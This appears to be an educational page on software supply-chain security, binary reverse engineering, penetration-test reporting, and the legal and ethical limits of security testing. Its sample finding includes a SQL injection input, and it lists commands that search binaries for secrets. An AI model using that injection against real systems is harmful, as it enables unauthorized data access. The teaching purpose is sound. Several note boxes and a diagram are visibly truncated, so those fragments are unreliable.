- Adding malicious committers to trusted projects
- Compromising package registry accounts
- Supply chain insider threat (malicious maintainer)
- Require 2FA for all package registry accounts
- Require multiple reviewers before publishing
- Package provenance verification (SLSA, sigstore)
- Monitor package contents for changes (diff published versions)
- Pin exact versions in production
- Use private registries with curated packages
1. Compromised build scripts: Malicious code in build.gradle, Makefile, Dockerfile
2. Poisoned build agents: Malicious runner images, compromised build servers
3. Secret exfiltration: Stealing CI/CD secrets (API keys, signing keys) from environment
4. Dependency substitution: Replacing dependencies during build with malicious versions
5. Build logic manipulation: Modifying CI pipeline definitions to inject malicious steps
6. Artifact tampering: Modifying build artifacts after generation but before deployment
7. PR-based attacks: Malicious pull requests that modify CI/CD configuration
8. Workflow injection: GitHub Actions injection via self-hosted runner exploitation
- Use ephemeral, immutable build agents (containers)
- Least-privilege service accounts for CI/CD
- Sign build artifacts with provenance attestations
- Pin action versions in GitHub Actions (use SHA, not tags)
- Separate build and deployment credentials
- Review all CI/CD configuration changes with same rigor as application code
- Use OIDC federation instead of stored secrets where possible
- Audit CI/CD logs regularly
1. Code signing key theft: Stealing the private key used for signing
2. Signing infrastructure compromise: Compromising the build server that holds the key
3. Malicious signing: Insider signs malicious code with valid certificate
4. Certificate authority compromise: Compromising the CA that issues certificates
5. Signature stripping: Removing or replacing signatures
6. Timestamp forgery: Manipulating code signing timestamps
Definition. A Software Bill of Materials is a formal record of the components and dependencies That make up a software package. It enables organizations to quickly identify affected systems when A vulnerability is discovered in a dependency.
- SPDX (Software Package Data Exchange): ISO standard, widely adopted
- CycloneDX: OWASP project, JSON/XML, lightweight
1. Component name and version
2. Component supplier/author
3. Component hash (SHA-256 or similar)
4. Dependency relationships
6. Vulnerability references (CVEs)
- Syft (Anchore): Generate SBOMs from container images and filesystems
- Trivy: Generate SBOMs as part of vulnerability scanning
- SPDX Tool: Generate and validate SPDX documents
- Dependency-Track: Manage and monitor SBOMs at scale
The Supply-chain Levels for Software Artifacts (SLSA) framework defines a series of security levels that describe the integrity guarantees of a software supply chain.
Level Name Requirements 0 No provenance No guarantees, build process is not documented 1 Documented Build process is documented, provenance exists 2 Hosted Build runs on hosted build service, provenance is authenticated 3 Provenance Build is reproducible, non-falsifiable provenance 4 Hermetic Two-party review, hermetic build, reproducible
# sigstore/Cosign -- signing and verifying container images
cosign sign --key cosign.key registry.example.com/myapp:v1.0.0
cosign verify --key cosign.pub registry.example.com/myapp:v1.0.0
# SLSA provenance with GitHub Actions
# .github/workflows/build.yml
# uses: slsa-framework/slsa-github-generator/.github/workflows/generator_generic_slsa3.yml
slsa-verifier verify-image registry.example.com/myapp:v1.0.0 \
--source-uri github.com/example/myapp
npm audit # Check for known vulnerabilities
npm audit fix # Automatically fix vulnerabilities
npm audit signatures # Verify package signatures
pip-audit # Check installed packages against vulnerability DB
safety check --full-report # Safety CLI for dependency checking
cargo audit # Check Cargo.lock against RustSec advisory DB
govulncheck ./... # Check Go code and dependencies for vulnerabilities
mvn org.owasp:dependency-check-maven:check
gradle dependencyCheckAnalyze
Incident Year Attack Vector Impact SolarWinds 2020 Build system compromise, malicious update 18,000+ organizations, US government agencies Codecov 2021 CI/CD script tampering Hundreds of customers’ CI/CD secrets exposed event-stream 2018 Malicious maintainer addition Bitcoin wallet stealing from Copay users ua-parser-js 2021 Maintainer account compromise npm package with malware, 7M+ weekly downloads colors.js/faker 2022 Protest/malicious update Non-malicious but broke builds (protestware) xz-utils 2024 Long-term social engineering, backdoor in liblzma Nearly compromised SSH on Linux systems
1. Attacker gained access to SolarWinds build environment (months before detection)
2. Injected malicious code into Orion build process (SUNBURST backdoor)
3. Signed malicious updates with valid SolarWinds code signing certificate
4. Distributed to ~18,000 customers via automatic update mechanism
5. Backdoor provided persistent access to victim networks
6. Attacker selectively escalated access on high-value targets
- Build environment security is as important as application security
- Code signing does not guarantee code is safe (signing key was legitimate)
- Automatic updates are a high-trust operation
- Supply chain attacks can bypass virtually all perimeter defenses
- Need for build provenance and reproducible builds
1. "Jia Tan" (pseudonymous maintainer) contributed to xz-utils over 2+ years
2. Built trust and social-engineered original maintainer (Lasse Collin) into reducing involvement
3. Pushed malicious changes to liblzma build system (configure scripts, test files)
4. Backdoor modified the RSA public key verification in OpenSSH's authentication path
5. Only activated when linked by specific systemd configurations (distribution-dependent)
6. Discovered by Andres Freund noticing ~500ms latency in SSH connections on Debian sid
7. Backdoor was present in xz-utils 5.6.0 and 5.6.1 (beta/rc releases)
- Open source maintainer burnout is a security risk
- Long-term social engineering can be more effective than technical exploits
- Obfuscated build scripts (m4 macro injection) are hard to review
- Performance anomalies can be the first indicator of compromise
- Single-maintainer projects with critical infrastructure dependencies are high-risk
- Need for reproducible builds and deterministic compilation
Note
Noticed a 500ms latency in SSH connections and investigated. Without that observation, the backdoor could have reached stable releases of major Linux distributions, compromising SSH authentication Worldwide. This underscores the importance of reproducible builds and independent verification of Build artifacts.
Static analysis examines a binary without executing it. It extracts information from the binary’s Structure, instructions, and data.
Tool License Platform Key Features Ghidra Open source Cross-platform NSA-developed, decompiler, scripting (Java/Python), collaborative IDA Pro Commercial Windows/Linux/macOS Industry standard, Hex-Rays decompiler, extensive plugin ecosystem radare2 Open source Cross-platform CLI-first, scripting (r2pipe), binary analysis framework Binary Ninja Commercial Cross-platform Modern UI, API-first design, MLIL/HLIL decompilation Cutter Open source Cross-platform GUI for radare2, user-friendly interface objdump GNU Linux Basic disassembly, part of binutils readelf GNU Linux ELF file analysis, section/header inspection
# Ghidra headless analysis
analyzeHeadless /tmp/project myproject -import target_binary -postScript analyze.py
r2 -A target_binary # Open with auto-analysis
r2 -q -c " aaa; pdf @main " target_binary # Analyze and disassemble main function
objdump -d target_binary | less
objdump -t target_binary # Symbol table
objdump -h target_binary # Section headers
readelf -h target_binary # ELF header
readelf -S target_binary # Section headers
readelf -s target_binary # Symbol table
readelf -r target_binary # Relocation entries
readelf -l target_binary # Program headers (segments)
strings target_binary | grep -i " password\|key\|secret\|token "
strings -t x target_binary # With hex offsets
Decompilation transforms low-level assembly or intermediate representation back into higher-level Pseudocode that resembles C or C++.
Decompilation challenges:
1. Lost type information: All variables become integers or pointers
2. Lost structure: Control flow is preserved but high-level abstractions are gone
3. Compiler optimizations: Inlining, loop unrolling, dead code elimination obscure logic
4. Obfuscation: Control flow flattening, string encryption, virtualization
5. Anti-decompilation: Checks for debuggers, integrity checks on code sections
Dynamic analysis executes the binary in a controlled environment and observes its behavior.
( gdb ) break main # Set breakpoint at main
( gdb ) break * 0x400500 # Set breakpoint at address
( gdb ) run # Start execution
( gdb ) step # Step into function
( gdb ) next # Step over function
( gdb ) continue # Continue to next breakpoint
( gdb ) info registers # Show register values
( gdb ) x/16xb $rsp # Examine 16 bytes at stack pointer
( gdb ) x/s 0x400600 # Examine string at address
( gdb ) set $eax = 0 # Modify register
( gdb ) call function_name () # Call a function
( gdb ) info functions # List all functions
( gdb ) disas main # Disassemble function
( gdb ) backtrace # Show call stack
( gdb ) info proc mappings # Show memory mappings
# strace -- trace system calls
strace -f ./target_binary # Follow child processes
strace -e trace=network ./target_binary # Only network syscalls
strace -e trace=open,openat,read,write ./target_binary
strace -p <PID> # Attach to running process
# ltrace -- trace library calls
ltrace -e " strcpy*+printf* " ./target_binary
ltrace -C ./target_binary # Count library calls
ELF is the standard binary format on Linux and most Unix-like systems.
┌─────────────────────────┐
│ ELF Header │ Magic number, class, architecture, entry point
├─────────────────────────┤
│ Program Headers │ Memory layout for loader (segments)
├─────────────────────────┤
│ .text │ Executable code
│ .rodata │ Read-only data (strings, constants)
│ .data │ Initialized global/static variables
│ .bss │ Uninitialized global/static variables
│ .got │ Global Offset Table (runtime address resolution)
│ .plt │ Procedure Linkage Table (lazy function calls)
│ .rela/.rel │ Relocation entries
│ .dynamic │ Dynamic linking information
├─────────────────────────┤
│ Section Headers │ Describe sections (names, types, offsets)
└─────────────────────────┘
PE is the executable format on Windows.
┌─────────────────────────┐
│ DOS Header │ MZ magic, points to PE header
├─────────────────────────┤
│ PE Signature │ "PE\0\0"
├─────────────────────────┤
│ COFF File Header │ Machine type, number of sections, timestamp
├─────────────────────────┤
│ Optional Header │ Entry point, image base, subsystem, data directories
│ - Import Table │ DLLs and functions this binary imports
│ - Export Table │ Functions this binary exports
│ - Resource Table │ Icons, dialogs, strings
│ - Base Relocations │ Address fixups for ASLR
│ - IAT │ Import Address Table (resolved import addresses)
│ - TLS Callbacks │ Thread-local storage initialization
├─────────────────────────┤
│ Section Headers │ .text, .data, .rdata, .rsrc, etc.
├─────────────────────────┤
│ Sections │ Raw section data
└─────────────────────────┘
Mach-O is the executable format on macOS and iOS.
┌─────────────────────────┐
│ Mach-O Header │ Magic, CPU type, file type, number of load commands
├─────────────────────────┤
│ Load Commands │ Segment definitions, dynamic linker info, entry point
│ - LC_SEGMENT_64 │ Memory segments (__TEXT, __DATA, __LINKEDIT)
│ - LC_DYLD_INFO │ Dynamic linking information
│ - LC_SYMTAB │ Symbol table
│ - LC_DYSYMTAB │ Dynamic symbol table
│ - LC_LOAD_DYLIB │ Linked dynamic libraries
│ - LC_MAIN │ Entry point offset
│ - LC_CODE_SIGNATURE │ Code signing information
├─────────────────────────┤
│ Sections │ __text, __stubs, __cstring, __data, etc.
└─────────────────────────┘
1. String encryption: Encrypt strings, decrypt at runtime
2. Control flow flattening: Replace structured control flow with state machine
3. Code virtualization: Transform code into custom bytecode with custom VM
4. Code obfuscation: Insert junk code, reorder instructions, opaque predicates
5. Packing/compression: Compress executable, decompress at runtime (UPX, Themida)
6. Symbol stripping: Remove debug symbols and function names
7. Import obfuscation: Resolve imports dynamically (GetProcAddress, dlopen)
8. Anti-disassembly: Insert instructions that disassemble differently than they execute
1. Debugger detection: IsDebuggerPresent, ptrace, timing checks
2. Virtual machine detection: Check for VM artifacts (CPUID, MAC addresses, drivers)
3. Anti-attach: Prevent debugger attachment (NtSetInformationThread)
4. Integrity checks: Verify code sections haven't been modified
5. Anti-dump: Prevent memory dumping of the process
6. Timing checks: Detect single-stepping (RDTSC timing)
7. Environment checks: Detect analysis tools, sandboxes, modified system files
Firmware analysis workflow:
1. Identify the firmware format (binary blobs, UEFI, embedded Linux, router firmware)
2. Extract the filesystem (binwalk, firmware-mod-kit, jefferson)
3. Analyze the filesystem contents (directory structure, binaries, configuration files)
4. Extract and analyze binaries (ELF, proprietary formats)
5. Identify communication protocols (serial, JTAG, SPI, UART)
6. Look for default credentials, hardcoded keys, debug interfaces
7. Identify update mechanisms and sign/verify processes
Common firmware analysis tools:
- binwalk: Signature-based extraction of embedded files and filesystems
- Firmadyne: Automatic firmware emulation and dynamic analysis
- FACT: Firmware Analysis and Comparison Tool
- fuzzware: Firmware fuzzing with QEMU
- Ghidra: Static analysis of extracted binaries
# Firmware extraction with binwalk
binwalk -Me firmware.bin # Extract and recursively scan
binwalk firmware.bin # List identified components
uefi-firmware-parser -e bios.bin
UTK (UEFI Tool Kit ) for detailed UEFI analysis
# Common findings in firmware:
# - Default or hardcoded credentials
# - Unencrypted filesystems
# - Debug interfaces enabled (UART, JTAG)
# - Unsigned firmware updates
# - Outdated components with known vulnerabilities
# - Web management interfaces with common vulnerabilities
A professional penetration test report must serve multiple audiences: executives who need risk Context, managers who need remediation priorities, and engineers who need technical details to fix the issues.
1. Executive Summary (1-2 pages)
- Critical findings count
- Business impact summary
- Scope (in-scope and out-of-scope)
- Testing dates and duration
- Assumptions and limitations
- Findings by severity (Critical, High, Medium, Low, Informational)
- Comparison with previous assessments (if applicable)
4. Detailed Findings (each finding includes)
- Finding title and severity
- Impact (business and technical)
- Evidence (screenshots, logs, output)
- Proof of concept (reproduction steps)
- Remediation recommendations
- References (CVEs, CWEs, vendor advisories)
- Testing methodology details
Severity CVSS Range Description Example Critical 9.0 - 10.0 Immediate risk of system compromise Remote code execution, authentication bypass High 7.0 - 8.9 Significant risk, likely exploitable SQL injection, privilege escalation Medium 4.0 - 6.9 Moderate risk, requires specific conditions XSS, CSRF, information disclosure Low 0.1 - 3.9 Minimal risk, limited impact Information leakage, verbose errors Informational 0.0 No direct risk, but worth noting Missing security headers, cookie flags
Effective remediation guidance:
1. Be specific: "Upgrade OpenSSL to version 3.0.1 or later" not "fix OpenSSL"
2. Provide context: Explain why the vulnerability matters in the client's environment
3. Offer alternatives: If immediate upgrade is not possible, suggest compensating controls
4. Prioritize: Evidently state which remediation actions should happen first
5. Reference standards: Link to CWE, NIST, CIS benchmarks where applicable
6. Estimate effort: Give a rough idea of remediation complexity (low/medium/high)
7. Include verification: How to confirm the fix is effective
1. Reproducible: Anyone can follow the steps and reproduce the finding
2. Minimal: Demonstrate the issue without causing unnecessary impact
3. Clear: Step-by-step instructions with expected and actual results
4. Documented: Include timestamps, request/response data, screenshots
5. Contained: Do not access or modify more data than necessary to demonstrate
Title: SQL Injection in Search Functionality
CVSS: 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
1. Navigate to https://target.com/search
2. Enter the following in the search field: " OR 1=1--
3. Observe that the query returns all records from the database
Expected result: Search should return no results or an error message
Actual result: All database records are returned, confirming SQL injection
[Include HTTP request/response, screenshots]
Use parameterized queries. Replace string concatenation with prepared statements.
Reference: OWASP SQL Injection Prevention Cheat Sheet
The CFAA (18 U.S.C. Section 1030) is the primary federal law criminalizing unauthorized computer Access in the United States.
- 18 U.S.C. 1030(a)(2): Intentionally accessing a computer without authorization
or exceeding authorized access, obtaining information
- 18 U.S.C. 1030(a)(3): Intentionally accessing a non-public government computer
- 18 U.S.C. 1030(a)(4): Knowingly accessing a computer with intent to defraud
- 18 U.S.C. 1030(a)(5): Intentionally causing damage to a computer
- Penalties: Fines and imprisonment (up to 10+ years for repeat offenses)
Key case law implications:
- "Without authorization" and "exceeding authorized access" are broadly interpreted
- Violating terms of service may constitute exceeding authorized access
- Even well-intentioned security research can be prosecuted
- Written authorization is the strongest defense
Note
In 2022 to clarify that “good faith” security research is generally not subject to prosecution. However, this is a charging policy, not a legal defense, and does not change the statutory text. Always obtain written authorization before testing.
Definition. Responsible disclosure is the practice of privately reporting vulnerabilities to the Affected vendor, giving them a reasonable timeframe to fix the issue before public disclosure.
Standard responsible disclosure timeline:
1. Discover vulnerability
2. Report privately to vendor (security@vendor.com, security.txt)
3. Wait for vendor acknowledgment (in standard practice 5 business days)
4. Vendor develops and tests fix (in standard practice 90 days)
5. Coordinated public disclosure after fix is available
6. If vendor is unresponsive after 90 days, consider public disclosure
Factors that affect timeline:
- Severity of the vulnerability (critical = shorter timeline)
- Active exploitation in the wild (shorten timeline)
- Vendor responsiveness (extend if engaged, shorten if unresponsive)
- Complexity of the fix (extend if remediation is genuinely difficult)
- Number of affected users (scale remediation effort)
Bug bounty programs provide a legal, structured framework for security researchers to report Vulnerabilities in exchange for monetary rewards.
Platform Model Notable Participants HackerOne Third-party Google, Uber, GitHub, US DoD Bugcrowd Third-party Atlassian, Mastercard, Pinterest Intigriti Third-party European focus, Philips, Airbus YesWeHack Third-party European focus, SNCF, Air France Google VRP Direct Google products Microsoft MSRC Direct Microsoft products Apple Security Bounty Direct Apple products
Bug bounty best practices:
1. Read the program scope carefully -- test only in-scope assets
2. Respect the program rules -- do not test social engineering unless explicitly allowed
3. Report through the platform -- do not contact the company directly
4. Provide clear reproduction steps -- include all necessary details
5. Do not access PII -- demonstrate the vulnerability without exposing user data
6. Wait for triage -- do not publicly disclose before the program responds
7. Be professional -- maintain a respectful tone in all communications
8. Document everything -- screenshots, HTTP requests/responses, video if helpful
Common scope limitations:
- In-scope: Specific IP ranges, domains, applications
- Out-of-scope: Third-party services, physical access, social engineering
- Safe harbor: Testing within scope is protected; outside scope is not
- Rate limiting: Do not perform denial of service
- Data handling: Do not access, store, or exfiltrate user data
- Reporting: Report through designated channels only
- Public disclosure: Do not disclose before coordinated date
Testing systems or functionality outside the agreed scope is one of the most serious mistakes a Penetration tester can make. It violates the legal authorization and can result in criminal Liability.
Examples of going out of scope:
- Testing a domain that was not listed in scope
- Scanning IP ranges beyond the authorized block
- Attempting to exploit a system after the testing window has closed
- Testing a third-party service integrated with the target
- Performing social engineering when it was not authorized
- Physical access testing when only remote testing was authorized
- Accessing databases not explicitly listed in scope
Caution
Immediately. Document what you observed and report it to the client. Do not attempt to exploit the out-of-scope finding, even if it seems trivial.
Denial of service testing is almost never authorized because it impacts business operations. Even Accidental DoS from aggressive scanning can cause real damage.
Common causes of accidental DoS:
- Aggressive nmap scans (too many connections too fast)
- Brute force attacks that trigger account lockout
- Fuzzing that crashes the application
- SQL injection that locks database tables
- Exploitation attempts that crash the target service
- Automated scanning tools overwhelming the target
- Limit scan rates (-T2 or lower in nmap)
- Test against non-production instances
- Use a single thread for brute force attempts
- Stop immediately if the system shows signs of instability
- Coordinate with the client''s operations team
During penetration testing, you may have the ability to modify or delete data. Doing so violates the Rules of engagement and can cause real business impact.
- Never modify production data unless explicitly authorized
- When demonstrating SQL injection, use SELECT statements, not INSERT/UPDATE/DELETE
- When demonstrating file upload, upload test files, not production data
- When demonstrating IDOR, read data but do not modify it
- Document what you accessed but minimize the data exposed
- If you accidentally modify data, report it immediately
A penetration test is only as valuable as its report. Finding a critical vulnerability but failing to document it properly means the vulnerability will not be fixed.
Documentation best practices:
- Record every step as you perform it
- Take screenshots of every finding
- Save HTTP request/response pairs (Burp Suite, OWASP ZAP)
- Note timestamps for every finding
- Record the exact steps to reproduce each issue
- Document both successful and unsuccessful exploitation attempts
- Keep a running log of all activities (command history, notes)
- Organize findings by severity for efficient report writing
Testing without authorization is the single most dangerous mistake in penetration testing. There is no technical distinction between a penetration test and an actual attack from a legal perspective.
Before testing, ensure you have:
1. Written authorization (not verbal, not implied)
2. Scope evidently defined (IP ranges, domains, applications)
3. Testing window specified (dates, times, time zones)
4. Rules of engagement documented
5. Emergency contact information
6. Understanding of the client"s incident response procedures
Red flags that suggest you may not have proper authorization:
- "Just check our security and let us know if you find anything"
- "We trust you, go ahead"
- No written scope document
- No specified testing window
- "Test whatever you think is appropriate"
Caution
Better to ask a question than to face legal consequences. The penetration testing community depends on trust — a single unauthorized test can damage the entire profession’s reputation and lead to Stricter regulations.
A[Penetration Testing] --> B[Reconnaissance]
A --> E[Post-Exploitation]
B --> F[OSINT: theHarvester]
B --> H[Social Engineering]
C --> I[Port Scanning: nmap]
C --> J[Vulnerability Scanning: Nessus]
C --> K[Web App Scanning: Burp Suite]
D --> M[XSS: Reflected/Stored/DOM]
D --> N[Command Injection]
E --> P[Privilege Escalation]
E --> Q[Data Exfiltration]
This topic covers the essential concepts and techniques related to penetration testing and attack methodologies, including key principles and practical applications.
Key concepts include:
core concepts and definitions key principles and frameworks practical applications common techniques and methods evaluation and critical analysis Penetration testing is the practice of systematically probing systems for vulnerabilities before attackers do. It follows a methodology: reconnaissance (gathering information), scanning (identifying open ports and services), exploitation (attempting to gain access), and reporting (documenting findings). The goal is not just to break in but to understand the chain of weaknesses that allowed it, so each vulnerability can be remediated.
Worked examples demonstrating the application of key concepts are covered in the detailed sub-pages linked above.
Security Fundamentals provides the defensive principles that penetration testing is designed to evaluate and strengthen.Web Security covers the specific web application attack vectors that penetration testers target.Incident Response defines the procedures activated when penetration testing reveals exploitable vulnerabilities.